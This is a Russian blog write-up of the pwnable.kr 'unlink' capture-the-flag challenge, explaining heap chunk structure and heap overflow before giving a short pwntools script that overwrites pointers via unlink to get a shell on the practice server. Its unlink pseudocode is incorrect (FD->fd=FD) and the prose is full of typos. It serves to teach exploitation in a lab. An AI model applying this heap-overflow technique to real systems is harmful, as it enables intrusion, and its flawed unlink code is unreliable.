Хабрахабр

Решение задания с pwnable.kr 19 — unlink. Переполнение буфера в куче

image

В данной статье разберемся с уязвимостью переполнение буфера в куче, а также решим 19-е задание с сайта pwnable.kr.

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

  • PWN;
  • криптография (Crypto);
  • cетевые технологии (Network);
  • реверс (Reverse Engineering);
  • стеганография (Stegano);
  • поиск и эксплуатация WEB-уязвимостей.

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Вся информация представлена исключительно в образовательных целях.

Как организована куча

Память может быть занятой (аллоцированной) и свободной. На рисунке представлена динамическая память.

  • SSize — размер предыдущего блока памяти, при условии что он свободен.
  • Size — размер данного блока памяти, к которому прибалены 2 бита состояния.
  • Data — польовательские данные.
  • Fd — указатель на следующий свободный блок.
  • Bk — указатель на предыдущий свободный блок.
  • Free — свободная память.

image

Плюс ко всему, на границе занятой и свободной системной памяти есть специально обрабатываемый свободный W-блок. Таким образом никакие два свободных блока не могут являться соседями.

image

Представление блоков в списки (корзины) происходит следующим образом.

image

Для удаления свободного блока из списка применяется метод unlink.

void unlink(S, BK, FD){
BK = S->bk;
FD = S->fd;
FD->bk=BK;
FD->fd=FD;
}

Выделение и освобождение памяти

Разберем как работает mmap. На первом шаге происходит проверка массивов необходимых размеров (к примеру 24 байт). Если есть необходимый блок, то он отделяется с помощью unlink.

image

Первая часть аллоцируется, а вторая перераспределяется в другой массив. На втором шаге, если данный блок достаточно большой, то он делится на две части.

image

Есои он удовлетворяет, то с ним проводятся мероприятия шага два. На третьем шаге, если не было выделена блока необходимого размера, то проверяется W-блок. Метод Free полность противоположен mmap. Если W-блок окаался мал, то для расширения доступной памяти испольуются sbrk() и mmap().

Переполненик буфера в куче

Переполнение кучи — это тип переполнения буфера, который происходит в области данных кучи. Память в куче динамически распределяется приложением во время выполнения и обычно содержит данные программы. Эксплуатация выполняется путем повреждения этих данных особым образом, чтобы приложение перезаписывало внутренние структуры, такие как указатели на связанный список. Метод канонического переполнения кучи перезаписывает связь динамического выделения памяти (например, метаданные malloc) и использует обмен указателями для перезаписи указателя на программную функцию.

К примеру, положить шеллкод изменить адрес GOT. Как пример, в функции Unlink, с помощью FD->bk можно изменить значение произвольного слова в памяти. Пример переполнения рассмотрим на примере.

Решение задания unlink

Нажимаем на первую иконку с подписью unlink, и нам говорят, что нужно подключиться по SSH с паролем guest.

image

При подключении мы видим соответствующий баннер.

image

Давайте узнаем, какие файлы есть на сервере, а также какие мы имеем права.

image

Давайте посмотрим исходный код.

image

Потом происходит ввод и заполнение объекта А. Так у нас объект B связывается с объектами А и С. Необходимо найти способ эксплуатации уязвимости. Имея связь объетов А — B — C и контролируя заполнение А, мы можем переполнить кучу и перезаписать объекты В и С. Посмотрим через gdb.

image

Адрес возврата попадает в esр из регистра ecx, куда податает из ebр-4. Таким образом, можно записать шеллкод и переписать адрес возврата из main на наш шеллкод. Дизассемблируя функцию unlink, замечаем, что ebр-4 можно контролировать пользовательким вводом.

image

Каждый объект занимает в памяти 16 байт (по 4 на указатели и 8 на буффер). Разберем, как расположены наши объекты в памяти и как работает функция unlink.

image

Перед каждым вызовом укаатель на стек (esр) увеличивается на 16 и уменьшается на 12, после чего резервируется 16 байт. Выделение памяти под объекты происходит в строках main+38, main+54 и main+70.

image

image

То есть между структурами есть свободные 4 байта.

image

Далее производится линковка и разлинковка объектов.

image

image

Таким образом, нам нужно, чтобы при возврате из функции адрес попадет на место расположения heaр+12, которая передаст управления по адресу, где расположен шеллкод.

image

from pwn import * s = ssh("unlink", "pwnable.kr", password="guest", port=2222)
ex = s.process("./unlink") shell_address = p32(0x80484eb)
ans = ex.recv().split("\n")
stack_addr = p32(int(ans[0].split(" ")[5],16) + 16)
heap_addr = p32(int(ans[1].split(" ")[5],16) + 12) payload = shell_address + "A"*12 + heap_addr + stack_addr
ex.sendline(payload) ex.interactive()

image

Получаем шелл, читаем флаг, получаем 10 очков.

В следующий раз разберемся с переполнением кучи. Вы можете присоединиться к нам в Telegram.

Теги
Показать больше

Похожие статьи

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Кнопка «Наверх»
Закрыть